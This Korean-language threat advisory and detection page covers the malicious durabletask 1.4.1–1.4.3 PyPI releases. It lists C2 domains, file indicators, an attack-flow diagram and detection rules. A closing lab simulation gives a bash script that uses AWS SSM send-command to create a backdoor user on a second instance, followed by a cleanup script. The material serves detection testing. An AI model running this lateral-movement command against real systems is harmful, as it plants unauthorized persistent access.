durabletask: TeamPCP의 최신 PyPI 공급망 침해
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
공급망 공격이 Microsoft을 타겟으로 했습니다 durabletask PyPI의 Python 패키지로, 악성 버전이 게시되었습니다 1.4.1, 1.4.2, 및 1.4.3입니다. 공격자는 보고된 바에 따르면, PyPI 토큰을 얻기 위해 손상된 GitHub 계정을 이용하여 공격에 사용된 휠 파일을 업로드했습니다. 악성 페이로드는 rope.pyz 로 설계된 아카이브를 통해 전달되어 클라우드 자격 증명을 탈취하고 추가 시스템으로 확산되었습니다. 탐지 노력은 특정한 임시 파일, 의심스러운 프로세스 활동 및 식별된 명령 및 제어 도메인으로의 트래픽에 집중해야 합니다.
조사
Wiz는 손상된 GitHub 계정을 이전의 @antv 캠페인과 연결시켰습니다. 그들의 분석에서는 공격자가 커밋 메시지를 재사용하고, PyPI 게시 토큰을 포함한 누출된 GitHub 비밀에 접근한 것을 발견했습니다. 악성 휠 파일에는 transformers.pyz 구성 요소가 포함되어 있으며 이는 rope.pyz 을 /tmp 에 투하하고 명령 제어와의 통신을 시작했습니다 check.git-service.com and t.m-kosche.com.
완화 조치
조직은 노출 가능성이 있는 클라우드 및 비밀번호 관리자 자격 증명을 회전시키고, 식별된 명령 제어 도메인 및 URL을 차단하며, ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s와 같은 감염 지표를 검색해야 합니다. 모든 임시 managed.pyz or rope-*.pyz 파일은 제거되어야 하며 관련 Python 프로세스는 종료되어야 합니다. GitHub Actions 및 PyPI 게시 워크플로도 강화되어 유사한 타협의 위험을 줄여야 합니다.
대응
보안 팀은 durabletask 버전을 사용하는 것을 1.4.1 검색하고 1.4.3을 찾고, /tmp/managed.pyz and /tmp/rope-*.pyz 에 대한 python3 프로세스 실행을 모니터링해야 합니다. check.git-service.com and t.m-kosche.com 에 대한 아웃바운드 DNS 및 HTTP 트래픽을 차단하고, CloudTrail 및 Kubernetes 감사 로그를 의심스러운 SSM 또는 kubectl exec 활동에 대해 점검해야 합니다. 영향받은 자격 증명은 즉시 회전되어야 하며 비밀번호 관리자 로그는 강제 침입이나 무단 접근의 징후를 확인해야 합니다.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodes initial_node["<b>Start</b>: Attacker obtains valid GitHub credentials"] class initial_node action action_initial_access["<b>Action</b> – <b>T1078 Valid Accounts</b>: Compromised GitHub account provides repository access"] class action_initial_access action tool_gitHub["<b>Tool</b> – <b>Name</b>: GitHub<br/><b>Role</b>: Source code hosting platform"] class tool_gitHub tool action_cred_exploit["<b>Action</b> – <b>T1212 Exploitation for Credential Access</b>: Dumped GitHub secrets to obtain PyPI token"] class action_cred_exploit action file_pypi_token["<b>File</b> – <b>Name</b>: PyPI token"] class file_pypi_token file action_cred_password_stores["<b>Action</b> – <b>T1555.005 Password Managers</b> & <b>T1555.006 Cloud Secrets Management Stores</b>: Harvested credentials for cloud platforms and password managers"] class action_cred_password_stores action credential_aws["<b>Credential</b>: AWS access keys and SSM token"] class credential_aws credential credential_azure["<b>Credential</b>: Azure service principal"] class credential_azure credential credential_gcp["<b>Credential</b>: GCP service account"] class credential_gcp credential credential_k8s["<b>Credential</b>: Kubernetes service account token"] class credential_k8s credential credential_vault["<b>Credential</b>: HashiCorp Vault token"] class credential_vault credential action_supply_chain["<b>Action</b> – <b>T1195.002 Compromise Software Supply Chain</b>: Used PyPI token to publish malicious durabletask 1.4.1u20111.4.3 packages"] class action_supply_chain action tool_pypi["<b>Tool</b> – <b>Name</b>: PyPI repository"] class tool_pypi tool malware_durabletask["<b>Malware</b> – <b>Name</b>: durabletask package (malicious)"] class malware_durabletask malware action_execution["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b>: Victims install compromised package causing payload download"] class action_execution action file_managed["<b>File</b> – <b>Path</b>: /tmp/managed.pyz"] class file_managed file file_rope["<b>File</b> – <b>Path</b>: /tmp/rope-*.pyz"] class file_rope file action_defense_evasion["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b>: Malicious code executed via Python import hooks"] class action_defense_evasion action action_persistence["<b>Action</b> – <b>T1176 Software Extensions</b>: Injection points in __init__.py and other modules"] class action_persistence action action_credential_dumping["<b>Action</b> – <b>T1003 OS Credential Dumping</b>: Extracted AWS SSM tokens, Kubernetes tokens and shell history"] class action_credential_dumping action action_lateral_movement["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b>: Propagated to additional hosts via AWS SSM and Kubernetes exec"] class action_lateral_movement action tool_aws_ssm["<b>Tool</b> – <b>Name</b>: AWS SSM"] class tool_aws_ssm tool tool_k8s_exec["<b>Tool</b> – <b>Name</b>: Kubernetes exec"] class tool_k8s_exec tool op_and(("AND")) class op_and operator action_c2["<b>Action</b> – <b>T1219 Remote Access Tools</b> & <b>T1071.001 Web Protocols</b>: Communicates with C2 domains using /v1/models endpoint"] class action_c2 action c2_domain1["<b>C2 Domain</b>: check.git-service.com"] class c2_domain1 c2 c2_domain2["<b>C2 Domain</b>: t.mu2011kosche.com"] class c2_domain2 c2 action_exfiltration["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b>: Sent data to /api/public/version endpoint"] class action_exfiltration action exfil_endpoint["<b>Endpoint</b>: /api/public/version"] class exfil_endpoint c2 %% Connections initial_node –>|leads_to| action_initial_access action_initial_access –>|enables| action_cred_exploit action_cred_exploit –>|captures| file_pypi_token file_pypi_token –>|used_by| action_supply_chain action_supply_chain –>|publishes| malware_durabletask malware_durabletask –>|installed_by| action_execution action_execution –>|downloads| file_managed action_execution –>|downloads| file_rope file_managed –>|executed_via| action_defense_evasion file_rope –>|executed_via| action_defense_evasion action_defense_evasion –>|establishes| action_persistence action_persistence –>|enables| action_credential_dumping action_credential_dumping –>|collects| credential_aws action_credential_dumping –>|collects| credential_azure action_credential_dumping –>|collects| credential_gcp action_credential_dumping –>|collects| credential_k8s action_credential_dumping –>|collects| credential_vault credential_aws –>|used_for| action_lateral_movement credential_k8s –>|used_for| action_lateral_movement action_lateral_movement –>|leverages| tool_aws_ssm action_lateral_movement –>|leverages| tool_k8s_exec action_lateral_movement –>|spreads_to| op_and op_and –>|connects_to| action_c2 action_c2 –>|contacts| c2_domain1 action_c2 –>|contacts| c2_domain2 c2_domain1 –>|receives_data_via| action_exfiltration c2_domain2 –>|receives_data_via| action_exfiltration action_exfiltration –>|sends_to| exfil_endpoint "
공격 흐름
탐지
의심스러운 실행 파일 다운로드(프록시 통해)
보기
임시 폴더에서 생성된 Linux 스크립트 (file_event 통해)
보기
Linux 호스트에서 생성된 숨겨진 파일 (file_event 통해)
보기
IOC (HashSha256) 탐지: durabletask: TeamPCP의 최신 PyPi 손상
보기
TeamPCP C2 도메인에 대한 아웃바운드 연결 [프록시]
보기
/tmp/managed.pyz를 통한 Python 페이로드 실행 감지 [Linux 프로세스 생성]
보기
SSM:SendCommand 및 SSM:DescribeInstanceInformation에 의한 AWS SSM 전파 탐지 [AWS Cloudtrail]
보기
시뮬레이션 실행
조건: 테레메트리 & 기본 프리플라이트 체크가 통과해야 함.
기본 설명: 이 섹션에서는 탐지 규칙을 트리거하기 위해 설계된 적수 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 내러티브는 확인된 TTP를 정확하게 반영하고 탐지 논리에 의해 기대되는 정확한 테레메트리 생성을 목표로 합니다.
-
공격 내러티브 및 명령:
적수가 손상된 EC2 인스턴스(인스턴스 A)에서 자격 증명을 얻었습니다. 이 자격 증명을 사용하여 공격자는 네트워크 포트를 열지 않고 AWS Systems Manager를 통해 두 번째 인스턴스(인스턴스 B)를 침투합니다. 단계는 다음과 같습니다:- 도달 가능한 인스턴스 나열 via
SSM:DescribeInstanceInformation대상 찾기. - 악성 명령 발행 검색하고
SSM:SendCommand(예: 새로운 권한 사용자를 생성하십시오) 대상 인스턴스에. - 출력 수령으로 실행 확인 .
공격자는 AWS CLI를 사용하며, 이는 두 API 호출에 대한 CloudTrail 이벤트를 직접 생성하여 규칙의 조건을 충족시킵니다.
- 도달 가능한 인스턴스 나열 via
-
회귀 테스트 스크립트: 아래 스크립트는 통제된 연구실에서 공격을 재현합니다. 이 스크립트는 권한이 구성된 AWS CLI를 기대합니다
ssm:SendCommandandssm:DescribeInstanceInformation권한을 기대합니다.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variables – adjust for your lab environment # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Instance A (attacker foothold) TARGET_INSTANCE="i-0fedcba9876543210" # Instance B (lateral target) # 1️⃣ Enumerate SSM‑managed instances (triggers DescribeInstanceInformation) echo "[*] Enumerating SSM‑managed instances..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Send a malicious command to the target (triggers SendCommand) echo "[*] Sending malicious payload to $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Persist malicious user" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Retrieve command ID and wait for completion (optional) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] Command ID: $CMD_ID – waiting for execution..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulation complete. CloudTrail should now contain both SSM:DescribeInstanceInformation and SSM:SendCommand events." -
클린업 명령: 악성 사용자를 제거하고 모든 남은 명령 기록을 삭제하십시오.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Cleaning up malicious artifacts on $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Cleanup after test" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"